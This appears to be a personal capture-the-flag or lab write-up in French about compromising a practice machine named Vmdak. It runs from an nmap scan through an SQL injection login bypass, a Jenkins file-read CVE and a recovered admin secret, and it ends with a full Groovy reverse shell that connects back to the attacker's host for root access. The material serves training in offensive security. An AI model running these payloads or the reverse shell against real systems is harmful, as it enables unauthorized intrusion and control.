
sudo nmap -sVC -p- 192.168.180.103 --open                                 
[sudo] password for alice: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-10 20:57 CEST
Nmap scan report for 192.168.180.103
Host is up (0.058s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.45.215
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0            1752 Sep 19  2024 config.xml
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 76:18:f1:19:6b:29:db:da:3d:f6:7b:ab:f4:b5:63:e0 (ECDSA)
|_  256 cb:d8:d6:ef:82:77:8a:25:32:08:dd:91:96:8d:ab:7d (ED25519)
80/tcp   open  http     Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
9443/tcp open  ssl/http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title:  Home - Prison Management System
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: 
commonName=vmdak.local/organizationName=PrisonManagement/stateOrProvinceName=Californ
ia/countryName=US
| Subject Alternative Name: DNS:vmdak.local
| Not valid before: 2024-08-20T09:21:33
|_Not valid after:  2025-08-20T09:21:33
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.91 seconds

Linux - Vmdak :)
jeudi 10 juillet 2025 21:51
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On a accès a un panel admin. 

Je dois surement faire une injection SQL. 

d'abord j'ai testé le classique : 

Admin' -- //

Admin' OR 1=1 --//

Mais ça ne fonctionnait pas. Puis j'ai trouvé qu'une CVE existait sur ce sujet : 
https://github.com/projectdiscovery/nuclei-
templates/blob/main/http/cves/2024/CVE-2024-33288.yaml

je n'étais pas très loin. Il fallait les encodés et mettre des + pour remplacer les espaces.

txtusername=admin%27+or+%271%27+%3D%271&txtpassword=caca&btnlogin=
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RonnyCache001

Vu que je suis une idiote :

https://github.com/Aa1b/mycve/blob/main/Readme.md
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Avec linpeas et ftp j'ai vu qu'il y avait un fichier de conf pour jenkins. 

Il y a un port interne 8080 donc je vais le fowarder sur ma machine : 
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https://blog.trackflaw.com/compromettre-jenkins-lecture-fichiers-cve-2024-23897/
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Je veux récupérer le mdp de l'admin jenkins : 

On la !
140ef31373034d19a77baa9c6b84a200

On peut se connecter sur jenkins. D'ailleurs j'aurais pu juste récupérer le proof.txt. 

Et je peux me créer un shell en root ducoup : 

String host="192.168.45.215";
int port=8443;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new 
Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), 
si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!
s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)
so.write(pe.read());while(si.available()>0)
po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception 
e){}};p.destroy();s.close();
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Et voilà !!!!

Easy peasy 
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